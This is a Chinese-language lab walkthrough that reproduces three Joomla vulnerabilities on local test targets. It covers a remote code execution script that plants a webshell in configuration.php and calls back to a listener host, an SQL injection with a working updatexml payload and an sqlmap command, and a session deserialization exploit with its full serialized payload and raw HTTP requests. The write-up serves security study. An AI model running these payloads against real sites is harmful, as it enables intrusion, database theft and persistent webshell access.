1.源码下载
官网:https://downloads.joomla.org/。选择对应joomla版本,下载完成后解压到网站根目录即可。
2.网站搭建
利用脚本复现,脚本如下。脚本链接:
https://github.com/kiks7/rusty_joomla_rce
# 漏洞探测
python 1.py -t http://192.168.242.128/joomla_3.4.6
#返回结果中显示"Vulnerable"则说明目标网站存在漏洞,如图:
# 漏洞利用
python 1.py -t http://192.168.242.12+/joomla_3.4.6/ --exploit --lhost 192.168.242.1 --lport 9999
#payload中,–lhost 192.168.242.1是用于监听的主机的ip,–lport 9999是主机一个不被占用的端口,使用exp生成一个木马,下图可以看到成功在目标网站configuration.php文件生成一句话木马。密码是随机生成的(有点长…)。然后菜刀连接即可。
**
**
直接使用vulhub搞定实验环境。靶机IP:192.168.1.1
# 环境启动:
docker-compose build # 编译环境
docker-compose up -d # 启动环境
docker-compose down # 实验完成后关闭环境
漏洞影响版本:joomla 3.7。走流程joomla网站搭建,不细表。
漏洞利用:
①注入payload:
http://192.168.1.10:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
②直接sqlmap梭哈(时间有点长,耐心等待):
sqlmap -u "http://192.168.1.10:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p list[fullordering] --batch --dbms mysql --threads=10 -v --level 3 --risk 3 --technique=E
# 小彩蛋:joomla默认后台:
http://192.168.1.10:8080/administrator/
PHP 5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行。漏洞影响版本:
Joomla 1.5.x, 2.x, and 3.x before 3.4.6
**&**
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞利用:
①不带User-Agent头,构造数据包如下,得到服务器返回的cookie如图:
GET / HTTP/1.1
Host: 192.168.1.10:8080
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
返回的Cookie:
Cookie: 9df88d75d4edd9240d5e956cde96fb9b=bf121d27dda01f8a5c29920fdea9a682
② 在线生成脚本(也可以复制脚本下来自己个生成,在线生成时注意修改php版本):
http://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd
生成的POC为:
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}
通过注入一个“ |”符号,将它前面的部分全部当作名称,而|后面就可以插入任意序列化串行,构造反序列化代码。
③将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,连续发两次包,可以看到我们的phpinfo()代码被执行:
GET / HTTP/1.1
Host: 192.168.1.10:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Cookie: 9df88d75d4edd9240d5e956cde96fb9b=8b67deb28b214d2922059141be579aec;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.10:8080/installation/index.php
User-Agent:123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ps:找了很久并没有合适的脚本一键getshell。获取shell的流程和之前是一样的,先发送带Exp的包,然后包含获取的cookie的包,即可写入一句话了。
《完》